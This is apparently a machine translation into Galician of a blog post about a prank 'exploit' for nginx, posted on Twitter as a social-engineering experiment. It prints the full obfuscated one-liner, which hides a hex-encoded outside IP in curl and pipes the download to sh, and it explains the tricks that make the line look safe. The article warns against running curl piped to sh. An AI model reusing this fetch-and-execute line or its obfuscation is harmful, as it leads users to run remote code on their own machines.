Éxito dun experimento social cunha explotación falsa de nginx

Nota. transl.: Autor nota orixinal, publicada o 1 de xuño, decidiu realizar un experimento entre os interesados ​​na seguridade da información. Para iso, preparou un exploit falso para unha vulnerabilidade non revelada no servidor web e publicouno no seu Twitter. As súas suposicións -para ser expostas ao instante por especialistas que verían o evidente engano no código- non só non se fixeron realidade... Superaron todas as expectativas, e en sentido contrario: o tuit recibiu un enorme apoio de numerosas persoas que non fixeron realidade. comprobar o seu contido.

TL;DR: Non utilices a canalización de ficheiros en sh ou bash baixo ningunha circunstancia. Esta é unha boa forma de perder o control do teu ordenador.

Quero compartir convosco unha pequena historia sobre unha explotación cómica de PoC que se creou o 31 de maio. Apareceu pronto en resposta ás noticias de Alisa Esage Shevchenko, membro Iniciativa Día Cero (ZDI), esa información sobre unha vulnerabilidade en NGINX que conduce a RCE (execución de código remota) pronto será revelada. Dado que NGINX alimenta moitos sitios web, a noticia debeu ser unha bomba. Pero debido aos atrasos no proceso de "divulgación responsable", non se coñecían os detalles do que pasou: este é o procedemento estándar de ZDI.

chío sobre a divulgación de vulnerabilidades en NGINX

Despois de rematar de traballar nunha nova técnica de ofuscación en curl, citei o tweet orixinal e "filtrei un PoC funcionando" consistente nunha única liña de código que supostamente explota a vulnerabilidade descuberta. Por suposto, isto foi unha tontería total. Supuxen que estaría inmediatamente exposto, e que ao mellor recibiría un par de retuits (vai ben).

chío con falso exploit

Con todo, non podía imaxinar o que pasou despois. A popularidade do meu tweet disparouse. Sorprendentemente, polo momento (15:00 hora de Moscova o 1 de xuño) poucas persoas se deron conta de que se trata dunha falsificación. Moita xente o retuitea sen comprobalo en absoluto (e menos admirando os fermosos gráficos ASCII que produce).

Mira que bonito é!

Aínda que todos estes bucles e cores son xeniais, está claro que a xente tiña que executar código na súa máquina para velos. Afortunadamente, os navegadores funcionan do mesmo xeito e, combinado co feito de que realmente non quería meterme en problemas legais, o código enterrado no meu sitio só facía chamadas de eco sen tentar instalar ou executar ningún código adicional.

Pequena digresión: netspooky, dnz, eu e os demais rapaces do equipo Multitude de matóns Levamos un tempo xogando con diferentes formas de ofuscar os comandos de curl porque é xenial... e somos frikis. netspooky e dnz descubriron varios métodos novos que me parecían moi prometedores. Sumeime á diversión e intentei engadir conversións decimais IP á bolsa de trucos. Resulta que a IP tamén se pode converter a formato hexadecimal. Ademais, curl e a maioría das outras ferramentas NIX comen IP hexadecimais. Polo tanto, só era cuestión de crear unha liña de comandos convincente e de aspecto seguro. Ao final decidín neste:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Enxeñaría socioelectrónica (SEE): algo máis que phishing

A seguridade e a familiaridade foron unha parte importante deste experimento. Creo que son os que levaron ao seu éxito. A liña de comandos implicaba claramente a seguridade ao referirse a "127.0.0.1" (o coñecido host local). Localhost considérase seguro e os datos nel nunca saen do teu ordenador.

A familiaridade foi o segundo compoñente clave SEE do experimento. Dado que o público obxectivo estaba formado principalmente por persoas familiarizadas cos conceptos básicos da seguridade informática, era importante crear código para que partes del parecían familiares e familiares (e, polo tanto, seguras). Tomar prestados elementos de vellos conceptos de exploit e combinalos dun xeito inusual demostrou ser moi exitoso.

A continuación móstrase unha análise detallada do one-liner. Todo nesta lista se usa natureza cosmética, e practicamente non se require nada para o seu funcionamento real.

Que compoñentes son realmente necesarios? Isto -gsS, -O 0x0238f06a, |sh e o propio servidor web. O servidor web non contiña ningunha instrución maliciosa, senón que simplemente serviu gráficos ASCII mediante comandos echo no guión contido en index.html. Cando o usuario introduciu unha liña con |sh no medio, index.html cargado e executado. Afortunadamente, os custodios do servidor web non tiñan malas intencións.

• ../../../%00 — representa ir máis aló do directorio;
• ngx_stream_module.so — camiño a un módulo NGINX aleatorio;
• /bin/sh%00<'protocol:TCP' - supostamente estamos lanzando /bin/sh na máquina de destino e redirixe a saída á canle TCP;
• -O 0x0238f06a#PLToffset - ingrediente secreto, complementado #PLToffset, para parecer unha compensación de memoria contida dalgún xeito no PLT;
• |sh; - outro fragmento importante. Necesitabamos redirixir a saída a sh/bash para executar o código procedente do servidor web atacante situado en 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - un maniquí no que netcat se refire /dev/tcp/localhostpara que todo pareza de novo seguro. De feito, non fai nada e está incluído na liña da beleza.

Conclúe así a decodificación do guión dunha liña e a discusión de aspectos da "enxeñaría socioelectrónica" (phishing intrincado).

Configuración do servidor web e contramedidas

Dado que a gran maioría dos meus subscritores son infosec/hackers, decidín facer o servidor web un pouco máis resistente ás expresións de "interese" pola súa parte, só para que os rapaces tivesen algo que facer (e sería divertido montar). Non vou enumerar aquí todas as trampas xa que o experimento aínda está en curso, pero aquí tes algunhas cousas que fai o servidor:

• Supervisa activamente os intentos de distribución en determinadas redes sociais e substitúe varias miniaturas de vista previa para animar ao usuario a facer clic na ligazón.
• Redirixe Chrome/Mozilla/Safari/etc ao vídeo promocional de Thugcrowd en lugar de mostrar o script de shell.
• Observa sinais OBVIOS de intrusión/piratería flagrante e despois comeza a redirixir as solicitudes aos servidores da NSA (¡ha!).
• Instala un troiano, así como un rootkit da BIOS, en todos os ordenadores cuxos usuarios visitan o host desde un navegador normal (¡bromeza!).

Unha pequena parte de antímeros

Neste caso, o meu único obxectivo era dominar algunhas das características de Apache -en particular, as regras xeniais para redireccionar as solicitudes- e pensei: por que non?

Explotación de NGINX (¡Real!)

Subscribirse a @alisaesage en Twitter e siga o gran traballo de ZDI para abordar vulnerabilidades moi reais e explotar oportunidades en NGINX. O seu traballo sempre me fascinou e agradezo a Alicia a súa paciencia con todas as mencións e notificacións que provocou o meu estúpido chío. Afortunadamente, tamén fixo algo ben: axudou a concienciar sobre as vulnerabilidades de NGINX, así como os problemas causados ​​polo abuso do curl.

Fonte: www.habr.com